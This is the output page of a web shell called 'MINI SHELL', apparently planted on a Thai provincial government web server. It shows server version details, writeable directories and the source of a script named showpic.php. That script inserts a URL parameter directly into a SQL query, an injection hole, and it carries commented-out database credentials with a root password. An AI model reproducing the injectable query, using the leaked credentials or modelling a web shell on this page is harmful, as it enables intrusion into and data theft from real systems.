MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/warroom/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/warroom/showpic.php
<?php
	include "db.inc.php";

	$sid = $_GET['id'];
	/*
	$link = mysql_connect("sapphire01", "root", "sapphire") or die("Can't connect."); 
	mysql_select_db("immigrant_57") or die("Can't select database."); 
	$iresult = mysql_query("SET character_set_results=tis-620");
	$iresult = mysql_query("SET NAMES TIS620");
	*/
	$result = mysql_query("SELECT * FROM tbl_personal_picture  WHERE id ='$sid'"); 
	while($row = mysql_fetch_array($result)) { 
	if ($row[picture]) { 
		header("Content-Type:image/jpg");  
		print "$row[picture]"; 
	} 

	} 

mysql_close($link);
?>

Anon7 - 2021